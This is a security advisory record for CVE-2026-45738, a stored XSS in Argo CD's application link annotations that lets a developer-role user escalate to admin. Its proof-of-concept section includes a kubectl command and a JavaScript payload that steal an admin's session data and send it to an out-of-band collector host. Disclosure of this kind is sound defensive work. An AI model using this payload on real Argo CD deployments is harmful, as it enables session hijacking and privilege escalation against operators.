{"id":"GHSA-h98r-wv3h-fr38","summary":"Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation","details":"### Summary\n\nA user with **application write access (developer role)** can set `link.argocd.argoproj.io/*` annotations on any ArgoCD Application. These annotation values are rendered in the Summary tab's **URLs section** as `\u003ca href\u003e` elements without URL validation. Using the pipe-separator trick (`Display Text | javascript:...`), an attacker can inject a `javascript:` URI while displaying a legitimate-looking label (e.g. `GitHub Repo`). When a higher-privileged user (admin) clicks the link, **arbitrary JavaScript executes in the ArgoCD origin context** in the admin's authenticated session context, enabling API exfiltration and privilege escalation from developer to admin.\n\n### Details\n\n**Vulnerable sink:** `ui/src/app/applications/components/application-summary/application-summary.tsx:277`\n\n```tsx\nconst parts = (url || '').split('|');\n\u003ca key={i} href={parts.length \u003e 1 ? parts[1] : parts[0]} target='_blank'\u003e\n    {parts[0]}\n\u003c/a\u003e\n```\n\nThe annotation value is split on `|`. `parts[0]` becomes the visible link label; `parts[1]` becomes the `href`. **No call to `isValidURL()` is made**, unlike the protected `ApplicationURLs` component (`application-urls.tsx:72,80`) which does validate URLs and blocks `javascript:`. The `target='_blank'` opens a new tab that inherits the ArgoCD origin, giving the injected script same-origin fetch access to all ArgoCD APIs using the victim's authenticated session (credentialed `fetch()` calls).\n\n**Root cause:** React 16.x does not block `javascript:` URIs in `href` attributes (this protection was added in React 19). The helper `isValidURL()` exists in `shared/utils.ts` but is **not applied** to this sink.\n\n**CSP:** ArgoCD's default Content Security Policy is `frame-ancestors 'self'` only — no `script-src`, no `connect-src`, no `default-src` — providing **zero XSS execution mitigation**.\n\n### PoC\n\n**Prerequisites:** Developer role with application write access (e.g. RBAC: `p, role:developer, applications, *, */*, allow`).\n\n**Step 1 — Set malicious annotation as developer:**\n\n```bash\nkubectl annotate application \u003capp-name\u003e -n argocd \\\n  'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch(\"https://\u003cargocd-host\u003e/api/v1/session/userinfo\",{credentials:\"include\"}).then(r=\u003er.json()).then(d=\u003efetch(\"https://xxx.oastify.com/?d=\"+btoa(JSON.stringify(d)),{mode:\"no-cors\"}))'\n```\n\nThe URL section in the admin's Summary tab renders the link as **\"GitHub Repo\"** — the `javascript:` payload is invisible in the displayed text.\n\n**Step 2 — Admin opens Summary tab** of the annotated application and clicks the link.\n\n**Step 3 — JavaScript executes** at the ArgoCD origin and exfiltrates admin session data via out-of-band HTTP request. Tested with Burp Collaborator:\n\n```javascript\n// Payload used during testing (Burp Collaborator OOB):\nfetch(\"https://\u003cargocd-host\u003e/api/v1/session/userinfo\", {credentials:\"include\"})\n  .then(r =\u003e r.json())\n  .then(d =\u003e fetch(\"https://xxx.oastify.com/?d=\" + btoa(JSON.stringify(d)), {mode:\"no-cors\"}))\n```\n\n**Step 4 — Burp Collaborator received the OOB HTTP interaction** containing the base64-encoded admin session data. Decoded response:\n\n```json\n{\"iss\":\"argocd\",\"loggedIn\":true,\"username\":\"admin\"}\n```\n\n**Tested on:** ArgoCD v3.3.8 (commit 0850e97), React 16.9.3.\n\n### Impact\n\n- **Stored XSS** — payload persists in the Kubernetes Application resource until manually removed\n- **Privilege escalation** — developer role → admin session hijacking via authenticated API calls\n- **Maximum stealth** — the injected link displays as any attacker-chosen text; the `javascript:` href is never visible to the victim\n- **No server-side interaction required** — purely client-side exploit, no network egress needed for execution (exfiltration uses `no-cors` fetch, bypassed by absent `connect-src` CSP)\n- Any admin or operator who views the Summary tab of the compromised application is affected\n\n### Credits\n\nDiscovered and reported by **Jan Kahmen** ([jan@turingpoint.de](mailto:jan@turingpoint.de)) — [turingpoint.de](https://turingpoint.de)","aliases":["BIT-argo-cd-2026-45738","CVE-2026-45738","GO-2026-5418"],"modified":"2026-07-21T09:12:00.043262124Z","published":"2026-05-19T15:54:43Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-79"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-05-19T15:54:43Z"},"references":[{"type":"WEB","url":"https://github.com/argoproj/argo-cd/security/advisories/GHSA-h98r-wv3h-fr38"},{"type":"PACKAGE","url":"https://github.com/argoproj/argo-cd"}],"affected":[{"package":{"name":"github.com/argoproj/argo-cd/v3","ecosystem":"Go","purl":"pkg:golang/github.com/argoproj/argo-cd/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.2.12"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-h98r-wv3h-fr38/GHSA-h98r-wv3h-fr38.json"}},{"package":{"name":"github.com/argoproj/argo-cd/v3","ecosystem":"Go","purl":"pkg:golang/github.com/argoproj/argo-cd/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.3.0-rc1"},{"fixed":"3.3.10"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-h98r-wv3h-fr38/GHSA-h98r-wv3h-fr38.json","last_known_affected_version_range":"\u003c= 3.3.9"}},{"package":{"name":"github.com/argoproj/argo-cd/v3","ecosystem":"Go","purl":"pkg:golang/github.com/argoproj/argo-cd/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.4.0-rc1"},{"fixed":"3.4.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-h98r-wv3h-fr38/GHSA-h98r-wv3h-fr38.json","last_known_affected_version_range":"\u003c= 3.4.1"}},{"package":{"name":"github.com/argoproj/argo-cd/v2","ecosystem":"Go","purl":"pkg:golang/github.com/argoproj/argo-cd/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"2.14.21"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-h98r-wv3h-fr38/GHSA-h98r-wv3h-fr38.json"}},{"package":{"name":"github.com/argoproj/argo-cd","ecosystem":"Go","purl":"pkg:golang/github.com/argoproj/argo-cd"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"1.8.7"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-h98r-wv3h-fr38/GHSA-h98r-wv3h-fr38.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N"}]}